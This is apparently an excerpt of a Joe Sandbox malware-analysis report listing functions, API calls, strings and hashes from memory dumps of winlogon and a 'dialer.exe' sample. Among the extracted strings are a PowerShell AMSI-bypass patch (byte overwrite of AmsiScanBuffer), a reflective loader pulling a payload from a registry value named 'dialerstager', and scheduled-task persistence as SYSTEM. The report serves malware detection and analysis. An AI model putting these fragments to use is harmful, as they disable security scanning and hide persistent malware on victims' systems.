Instruction Fuzzy Hash: 9D113D32214B8482EB218F25F884359B7E5F788B94F984225EECC47768DF3DC951CB00

Function 000002D016587786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002D0165877AC

Strings

ctor closure', xrefs: 000002D016587794
`vector constructor iterator', xrefs: 000002D0165877B1

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: 7b80f8931247e2175565a61b1f7b82bad4e3170703212fd302aeb39c11bf220f
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: 9DE086A1641B84D0EF018F62E8C439833A4DB58B5CF8891239A5C07325FA38D5F9C300

Function 000002D0165877E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002D016587808

Strings

ctor closure', xrefs: 000002D0165877F0
destructor iterator', xrefs: 000002D01658780D

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: 89822915fa747b39e330aa74c4db848010c387d1732ab2bf10a0a0dbfed0f49e
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: C9E086A1601B84C0EF018F62E8D02983364E758B5CFC891238A5C07325EA38D5E5C300

Function 000002D0165878EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 000002D0165878F5

Strings

`scalar deleting destructor', xrefs: 000002D016587911
rFeaturePresent, xrefs: 000002D0165878FA

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: 658d70ac06847e66f28a2d0f249079f86332a7380a0d8ff6d3d780845531e46c
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 91D09E62221AC4E5EF10EB44DCC93996375F79434CFD05513914D42975DF28CE5AD740

Function 000002D0165E1C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E1C6D
HeapAlloc.KERNEL32 ref: 000002D0165E1C7B
GetProcessHeap.KERNEL32 ref: 000002D0165E1CA0
HeapFree.KERNEL32 ref: 000002D0165E1CAE

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: e556eb9d7cf45c3ae5addaa2cbba678ff9c6794914bad821cf8ebc5cf65e5294
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: 6E116921B01B9081EB14CBA6A84C659B7A1FB89FD1F99413ADE8D93735DF39D9828300

Function 000002D0165E1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E126E
HeapAlloc.KERNEL32 ref: 000002D0165E127D
GetProcessHeap.KERNEL32 ref: 000002D0165E1297
HeapAlloc.KERNEL32 ref: 000002D0165E12A8

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: 7075b9ab1f9578b1a8954e1e5d93993a35736c0889f75e175bd085a65b475d41
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: 1CE06D3160169086E7048FA2DC4C749B7E1FB88F06F84C024C90D07361DF7DCC998760

Function 000002D0165E1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E1006
HeapAlloc.KERNEL32 ref: 000002D0165E1015
GetProcessHeap.KERNEL32 ref: 000002D0165E1028
HeapAlloc.KERNEL32 ref: 000002D0165E1037

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: 301ce8787f551722ef8a87cd9efdd85ec7c5a1b74a9ec493aa3a44b9c06d7179
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: D0E0E571611AA086E7089BA2DC4C759B7A1FB88B16F888065C90907321EF388C998A20

Analysis Process: dialer.exePID: 5952, Parent PID: 5712COMMON

Execution Graph

Execution Coverage:	75.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	96
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32 ref: 000000014000102F
CryptGenRandom.ADVAPI32 ref: 0000000140001043
CryptReleaseContext.ADVAPI32 ref: 0000000140001052

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 000000014000101C

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 1815803762-291530887
Opcode ID: 0ddbc8895b0669cb0ada80a9b3cf58f5140d61cb55c0be0e277e251b20bcd660
Instruction ID: 74dd50a8ca20c1687fe1fd25669d783deb6ceb092ba3a030a89a64c3b25fe62d
Opcode Fuzzy Hash: 0ddbc8895b0669cb0ada80a9b3cf58f5140d61cb55c0be0e277e251b20bcd660
Instruction Fuzzy Hash: 28F01976700B4082E711CB67E88438AA7A2BBCCB80F498025DB5947729DEB4C956C740

Function 0000000140001C9C Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 196
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001CB7
HeapAlloc.KERNEL32 ref: 0000000140001CC8
GetProcessHeap.KERNEL32 ref: 0000000140001CE0
HeapAlloc.KERNEL32 ref: 0000000140001CEE

Part of subcall function 0000000140001000: CryptAcquireContextW.ADVAPI32 ref: 000000014000102F
Part of subcall function 0000000140001000: CryptGenRandom.ADVAPI32 ref: 0000000140001043
Part of subcall function 0000000140001000: CryptReleaseContext.ADVAPI32 ref: 0000000140001052

StrStrIW.KERNELBASE ref: 0000000140001D1A
StrStrIW.SHLWAPI ref: 0000000140001D4A
StrNCatW.SHLWAPI ref: 0000000140001D6D
StrCatW.SHLWAPI ref: 0000000140001D7D
StrCatW.SHLWAPI ref: 0000000140001E65
StrCatW.SHLWAPI ref: 0000000140001E73
StrCatW.SHLWAPI ref: 0000000140001E8D
StrNCatW.SHLWAPI ref: 0000000140001EA1
StrCatW.SHLWAPI ref: 0000000140001EB2
StrCatW.SHLWAPI ref: 0000000140001EC6
StrCatW.SHLWAPI ref: 0000000140001EE9
StrStrIW.SHLWAPI ref: 0000000140001F07
StrCatW.SHLWAPI ref: 0000000140001F27
StrCpyW.SHLWAPI ref: 0000000140001F33
GetProcessHeap.KERNEL32 ref: 0000000140001F39
HeapFree.KERNEL32 ref: 0000000140001F47
GetProcessHeap.KERNEL32 ref: 0000000140001F4D
HeapFree.KERNEL32 ref: 0000000140001F5B

Strings

gfff, xrefs: 0000000140001DBF
)+', xrefs: 0000000140001E79
gfff, xrefs: 0000000140001DEB
'+[Char](, xrefs: 0000000140001E5A
'+', xrefs: 0000000140001E82, 0000000140001EA7
0, xrefs: 0000000140001DAB

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$Crypt$AllocContextFree$AcquireRandomRelease
String ID: '+'$'+[Char]($)+'$0$gfff$gfff
API String ID: 3510167801-2888743547
Opcode ID: 4c029fa0796edbe0ffa46a87d68ca35ae0ec6b91dd14a689a3b9c7fb106a92b8
Instruction ID: 860a95141ccdf47dad873dcb7fdad07428551a8c4d737b9ab5c8568f3082a9eb
Opcode Fuzzy Hash: 4c029fa0796edbe0ffa46a87d68ca35ae0ec6b91dd14a689a3b9c7fb106a92b8
Instruction Fuzzy Hash: 6A715CB2710B5696EB16DF67FC187D927A6FB89BC8F448025EE0A47B65DE38C509C300

Function 0000000140001A7C Relevance: 45.6, APIs: 8, Strings: 18, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001A85
HeapAlloc.KERNEL32 ref: 0000000140001A96
StrCpyW.SHLWAPI ref: 0000000140001AA9

Part of subcall function 000000014000114C: GetModuleHandleA.KERNEL32 ref: 0000000140001157
Part of subcall function 000000014000114C: GetProcAddress.KERNEL32 ref: 000000014000116E

StrCatW.SHLWAPI ref: 0000000140001ADF
StrCatW.SHLWAPI ref: 0000000140001AEF
StrCatW.SHLWAPI ref: 0000000140001AFF
StrCatW.SHLWAPI ref: 0000000140001B0F
StrCatW.SHLWAPI ref: 0000000140001B1F

Strings

ParameterTypes, xrefs: 0000000140001B3C
LoadLibraryDelegate, xrefs: 0000000140001B87
Kernel32Ptr, xrefs: 0000000140001BA5
Get-Delegate, xrefs: 0000000140001B2D
AmsiScanBufferPtr, xrefs: 0000000140001BE1
[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`dialerstager`)).EntryPoint.I, xrefs: 0000000140001B05
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe, xrefs: 0000000140001AF5
[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);, xrefs: 0000000140001AE5
VirtualProtectDelegate, xrefs: 0000000140001B96
LoadLibraryPtr, xrefs: 0000000140001BB4
NativeMethods, xrefs: 0000000140001B69
GetProcAddress, xrefs: 0000000140001B78
function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type], xrefs: 0000000140001AD5
ReturnType, xrefs: 0000000140001B4B
OldProtect, xrefs: 0000000140001BF0
AmsiPtr, xrefs: 0000000140001BD2
TypeBuilder, xrefs: 0000000140001B5A
VirtualProtectPtr, xrefs: 0000000140001BC3

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AddressAllocHandleModuleProcProcess
String ID: AmsiPtr$AmsiScanBufferPtr$Get-Delegate$GetProcAddress$Kernel32Ptr$LoadLibraryDelegate$LoadLibraryPtr$NativeMethods$OldProtect$ParameterTypes$ReturnType$TypeBuilder$VirtualProtectDelegate$VirtualProtectPtr$[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`dialerstager`)).EntryPoint.I$[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);$[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe$function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type]
API String ID: 3242894177-3709903795
Opcode ID: b1fc34ca39e6db4a99ca0f74ce53aae3f3c4af68fd0d05a2b9d2c7ccdd3fe5d3
Instruction ID: 14a767466f4e457cf388ac16d0af6f49bf344e7045f9ae0e12022511aa144a10
Opcode Fuzzy Hash: b1fc34ca39e6db4a99ca0f74ce53aae3f3c4af68fd0d05a2b9d2c7ccdd3fe5d3
Instruction Fuzzy Hash: 38416BF8284702A1FA1BEF17B8557D52365A78DBC5F846261BE0A473B69EBCC108C394

Function 000000014000117C Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 281
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400011A7
SysAllocString.OLEAUT32 ref: 00000001400011B7
SysAllocString.OLEAUT32 ref: 00000001400011C7
SysAllocString.OLEAUT32 ref: 00000001400011D3
SysAllocString.OLEAUT32 ref: 00000001400011E3
SysAllocString.OLEAUT32 ref: 00000001400011F3
CoInitializeEx.COMBASE ref: 0000000140001200
CoInitializeSecurity.COMBASE ref: 0000000140001237
CoCreateInstance.COMBASE ref: 0000000140001279
VariantInit.OLEAUT32 ref: 000000014000128B
VariantInit.OLEAUT32 ref: 000000014000148D
VariantInit.OLEAUT32 ref: 0000000140001497
VariantInit.OLEAUT32 ref: 00000001400014AE
CoUninitialize.COMBASE ref: 00000001400015BA
SysFreeString.OLEAUT32 ref: 00000001400015C3
SysFreeString.OLEAUT32 ref: 00000001400015CC
SysFreeString.OLEAUT32 ref: 00000001400015D5
SysFreeString.OLEAUT32 ref: 00000001400015DE
SysFreeString.OLEAUT32 ref: 00000001400015E7
SysFreeString.OLEAUT32 ref: 00000001400015F0

Strings

powershell, xrefs: 00000001400011BD
dialersvc64, xrefs: 000000014000118D
SYSTEM, xrefs: 00000001400011E9

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFree$InitVariant$Initialize$CreateInstanceSecurityUninitialize
String ID: SYSTEM$dialersvc64$powershell
API String ID: 3960698109-174983134
Opcode ID: a180f732da29d2ef05bbba4c41d26df64929768de65ad4ca02d5ced4f3cbd646
Instruction ID: aee36af91c86c83140a7f8fc7c4422115872d8a4c3e6ef38ff6a7da2a4766896
Opcode Fuzzy Hash: a180f732da29d2ef05bbba4c41d26df64929768de65ad4ca02d5ced4f3cbd646
Instruction Fuzzy Hash: 2DD1DE76604B8586EB11CF6AE8843DE67B1FB88B99F508116EF4E47B68DF39C149C700

Function 0000000140001614 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 121
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 000000014000162A
SysAllocString.OLEAUT32 ref: 000000014000163A
CoInitializeEx.OLE32 ref: 0000000140001647
CoInitializeSecurity.COMBASE ref: 000000014000167E
CoCreateInstance.COMBASE ref: 00000001400016BE
VariantInit.OLEAUT32 ref: 00000001400016D0
VariantInit.OLEAUT32 ref: 0000000140001760
CoUninitialize.COMBASE ref: 00000001400017BF
SysFreeString.OLEAUT32 ref: 00000001400017C8
SysFreeString.OLEAUT32 ref: 00000001400017D1

Strings

dialersvc64, xrefs: 000000014000161B

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitInitializeVariant$CreateInstanceSecurityUninitialize
String ID: dialersvc64
API String ID: 2407135876-3881820561
Opcode ID: 3c97e4c5619ef6fd9796c7cadf22d1dacbe7654f614efe6a853fd620db2a3c93
Instruction ID: d87eb2bd9d729e9729409dc9478b0812213582aedf91d7913a1da9f61deadf9a
Opcode Fuzzy Hash: 3c97e4c5619ef6fd9796c7cadf22d1dacbe7654f614efe6a853fd620db2a3c93
Instruction Fuzzy Hash: B6510576704A458AEB11CF7AE8843DD63B1FB88B98F444226EF4E47A29DF38C149C340

Function 0000000140001984 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceExA.KERNEL32(?,?,?,?,?,0000000140001979), ref: 000000014000199C
SizeofResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019B3
LoadResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019C8
LockResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019DA
RegOpenKeyExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A04
RegSetValueExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A2A

Part of subcall function 0000000140001A7C: GetProcessHeap.KERNEL32 ref: 0000000140001A85
Part of subcall function 0000000140001A7C: HeapAlloc.KERNEL32 ref: 0000000140001A96
Part of subcall function 0000000140001A7C: StrCpyW.SHLWAPI ref: 0000000140001AA9
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001ADF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001AEF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001AFF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001B0F
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001B1F

Part of subcall function 00000001400017EC: SysAllocString.OLEAUT32 ref: 0000000140001802
Part of subcall function 00000001400017EC: SysAllocString.OLEAUT32 ref: 0000000140001812
Part of subcall function 00000001400017EC: CoInitializeEx.COMBASE ref: 000000014000181F
Part of subcall function 00000001400017EC: CoInitializeSecurity.COMBASE ref: 0000000140001856
Part of subcall function 00000001400017EC: CoCreateInstance.COMBASE ref: 0000000140001896
Part of subcall function 00000001400017EC: VariantInit.OLEAUT32 ref: 00000001400018A8
Part of subcall function 00000001400017EC: CoUninitialize.COMBASE ref: 0000000140001942
Part of subcall function 00000001400017EC: SysFreeString.OLEAUT32 ref: 000000014000194B
Part of subcall function 00000001400017EC: SysFreeString.OLEAUT32 ref: 0000000140001954

Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011A7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011B7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011C7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011D3
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011E3
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011F3
Part of subcall function 000000014000117C: CoInitializeEx.COMBASE ref: 0000000140001200
Part of subcall function 000000014000117C: CoInitializeSecurity.COMBASE ref: 0000000140001237
Part of subcall function 000000014000117C: CoCreateInstance.COMBASE ref: 0000000140001279
Part of subcall function 000000014000117C: VariantInit.OLEAUT32 ref: 000000014000128B

Part of subcall function 0000000140001614: SysAllocString.OLEAUT32 ref: 000000014000162A
Part of subcall function 0000000140001614: SysAllocString.OLEAUT32 ref: 000000014000163A
Part of subcall function 0000000140001614: CoInitializeEx.OLE32 ref: 0000000140001647
Part of subcall function 0000000140001614: CoInitializeSecurity.COMBASE ref: 000000014000167E
Part of subcall function 0000000140001614: CoCreateInstance.COMBASE ref: 00000001400016BE
Part of subcall function 0000000140001614: VariantInit.OLEAUT32 ref: 00000001400016D0
Part of subcall function 0000000140001614: VariantInit.OLEAUT32 ref: 0000000140001760

Strings

dialerstager, xrefs: 0000000140001A1B
dialersvc64, xrefs: 0000000140001A48
dialersvc32, xrefs: 0000000140001A39
SOFTWARE, xrefs: 00000001400019E6
EXE, xrefs: 000000014000198E

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: String$Alloc$Initialize$InitResourceVariant$CreateInstanceSecurity$FreeHeap$FindLoadLockOpenProcessSizeofUninitializeValue
String ID: EXE$SOFTWARE$dialerstager$dialersvc32$dialersvc64
API String ID: 2204944113-1859800454
Opcode ID: 26ae1522833f5bd9fa9188c5454cc5176b5189f098da63ea7365dd9a7c369b54
Instruction ID: 1bfe2c02107bc6537b2911a47a34f854c4b6e53c22e939ebebcbb702dcfd335c
Opcode Fuzzy Hash: 26ae1522833f5bd9fa9188c5454cc5176b5189f098da63ea7365dd9a7c369b54
Instruction Fuzzy Hash: D5213BBA30570152EA26DF63B8143E963A1AB8DBD0F484125FB49477BAEF3CC604C600

Function 00000001400017EC Relevance: 13.6, APIs: 9, Instructions: 100
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0000000140001802
SysAllocString.OLEAUT32 ref: 0000000140001812
CoInitializeEx.COMBASE ref: 000000014000181F
CoInitializeSecurity.COMBASE ref: 0000000140001856
CoCreateInstance.COMBASE ref: 0000000140001896
VariantInit.OLEAUT32 ref: 00000001400018A8
CoUninitialize.COMBASE ref: 0000000140001942
SysFreeString.OLEAUT32 ref: 000000014000194B
SysFreeString.OLEAUT32 ref: 0000000140001954

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 28fc60779f0ad9d62090849b4b365cf4f04873247535d29ba999af650a69468a
Instruction ID: 67cbc857c72eec62a5b69ac69888ab56890e3342390bd1f27bc6256027a28dd6
Opcode Fuzzy Hash: 28fc60779f0ad9d62090849b4b365cf4f04873247535d29ba999af650a69468a
Instruction Fuzzy Hash: 5E413972704A458AEB11CF7AE8543DD73B1FB89B99F449226AF4A47A69DF38C149C300

Function 0000000140001C0C Relevance: 3.8, APIs: 3, Instructions: 40
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32 ref: 0000000140001C31
StrStrIW.SHLWAPI ref: 0000000140001C4F
StrStrIW.SHLWAPI ref: 0000000140001C71

Memory Dump Source

Source File: 0000003F.00000002.2210644819.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003F.00000002.2210602655.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003F.00000002.2210680875.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_140000000_dialer.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: b9962e4e84025f74c7544eb618daec881cae5e6da44291651d3163d6fd35675d
Instruction ID: 09bf7b72404f13f14ced639d6c0c6f67ee10a0461fa6ddbcf4aeef183f1f47ff
Opcode Fuzzy Hash: b9962e4e84025f74c7544eb618daec881cae5e6da44291651d3163d6fd35675d
Instruction Fuzzy Hash: 9B0116B6344B8185EA66CF13A804BA963AAF78CFC0F598131AE4D83765DF38D946C740

Function 0000000140001970 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001984: FindResourceExA.KERNEL32(?,?,?,?,?,0000000140001979), ref: 000000014000199C
